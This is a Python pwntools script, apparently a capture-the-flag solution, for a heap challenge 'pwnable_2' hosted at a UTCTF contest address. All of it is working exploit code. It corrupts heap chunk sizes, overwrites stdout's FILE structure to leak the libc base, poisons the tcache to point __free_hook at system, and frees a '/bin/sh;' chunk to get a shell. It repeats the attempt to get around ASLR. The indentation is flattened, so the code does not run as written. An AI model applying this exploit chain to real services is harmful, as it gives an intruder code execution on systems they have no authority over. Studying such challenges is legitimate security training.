```
from pwn import *

context.terminal = ['tmux','new-window']
e = ELF('./pwnable_2')
p = ''
libc = e.libc

def c(ch):
p.sendlineafter('Cancel Person\n',str(ch))

def add(idx, size, data):
c(1)
p.sendlineafter('Index: ', str(idx))
p.sendlineafter('Name: ', 'tohru')
p.sendlineafter('Length of description: ',str(size))
p.sendafter('Description: ',data)

def free(idx):
c(2)
p.sendlineafter(': ',str(idx))

def main():
global p
p = remote('binary.utctf.live', 9050)
add(0,0x10,'a')
add(1,0x420,'a')
add(2,0x38,p64(0x470)*7)
free(1)
free(0)
add(0,0x18,'A'*0x18+"\x71")
free(2)
add(2,0x428,'a')
add(2,0x20,'\x60\x87')
add(4,0x30,'a')
context.timeout=1
try:
add(5,0x38,p64(0xfbad1800)+ 3*p64(0) + '\x00')
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ed8b0
except:
print "try again"
return
if libc.address == -0x3ed8b0:
print 'try again'
return
print hex(libc.address)
add(0,0x10,'a')
add(1,0x10,'a')
add(2,0x10,'a')
free(0)
add(0,0x18,'A'*0x18+"\x51")
free(1)
free(2)
add(5,0x48,'A'*0x10+p64(0)+p64(0x21)+p64(libc.symbols['__free_hook']))
add(0,0x10,'/bin/sh;')
add(1,0x10,p64(libc.symbols['system']))
free(0)
p.interactive()

for i in range(30):
main()
```